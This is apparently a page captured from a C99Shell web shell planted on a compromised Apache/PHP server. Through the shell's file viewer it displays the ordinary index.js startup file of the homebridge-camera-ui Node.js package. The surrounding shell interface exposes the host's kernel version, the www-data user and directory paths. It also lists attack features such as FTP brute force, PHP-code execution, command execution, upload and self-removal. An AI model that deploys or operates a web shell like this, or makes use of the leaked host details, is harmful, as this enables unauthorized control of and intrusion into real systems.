!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/lib/node_modules/homebridge-camera-ui/server/   drwxr-xr-x
Free 13.32 GB of 57.97 GB (22.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (2.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* eslint-disable unicorn/prevent-abbreviations */
'use-strict';

const packageFile = require('../package.json');
const logger = require('../services/logger/logger.service');

const app = require('./app');
const http = require('http');
const https = require('https');
const SocketIO = require('./socket');

const httpService = require('../services/http/http.service');
const mqttService = require('../services/mqtt/mqtt.service');

const Config = require('../services/config/config.start');
const Sessions = require('../services/sessions/sessions.service');
const Streams = require('./services/streams.service');
const ClearTimer = require('./services/cleartimer.service');
const lowdb = require('./services/lowdb.service');

const config = new Config();

const server = config.ssl
  ? https.createServer(
      {
        key: config.ssl.key,
        cert: config.ssl.cert,
      },
      app
    )
  : http.createServer(app);

const io = new SocketIO(server);

server.on('listening', async () => {
  let addr = server.address();

  let bind = typeof addr === 'string' ? 'pipe ' + addr : 'port ' + addr.port;

  logger.info(
    `camera.ui v${packageFile.version} is listening on ${bind} (${config.ssl ? 'https' : 'http'})`,
    false,
    true
  );

  ClearTimer.start();
  Sessions.init(config.cameras);
  Streams.init(io);

  if (config.mqtt) {
    mqttService.start(config);
  }

  if (config.http) {
    httpService.start(config);
  }
});

server.on('error', (error) => {
  let error_;

  if (error.syscall !== 'listen') {
    logger.error(error, false, true);
  }

  let bind = typeof port === 'string' ? 'Pipe ' + config.port : 'Port ' + config.port;

  switch (error.code) {
    case 'EACCES':
      error_ = `Can not start the User Interface! ${bind} requires elevated privileges`;
      break;
    case 'EADDRINUSE':
      error_ = `Can not start the User Interface! ${bind} is already in use`;
      break;
    default:
      error_ = error;
  }

  logger.error(error_, false, true);

  server.stopServer();
});

server.on('close', () => {
  logger.debug('Stopping user interface server...', false, true);
});

server.startServer = async () => {
  try {
    //prepare db
    await lowdb.ensureDatabase();
    await lowdb.prepareDatabase();
    await lowdb.refreshRecordingsDatabase();
    lowdb.initTokensDatabase();

    //start server
    server.listen(config.port);
  } catch (error) {
    logger.error('An error occured during starting server!', false, true);
    logger.error(error);

    server.stopServer();
  }

  return server;
};

server.stopServer = async () => {
  ClearTimer.stop();
  Streams.stopStreams();

  if (config.http) {
    httpService.stop();
  }

  server.close();
};

if (process.env.NODE_ENV === 'test') {
  server.startServer();
}

process.on('SIGHUP', () => {
  server.stopServer();
});

module.exports = {
  io,
  server,
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.1643 ]--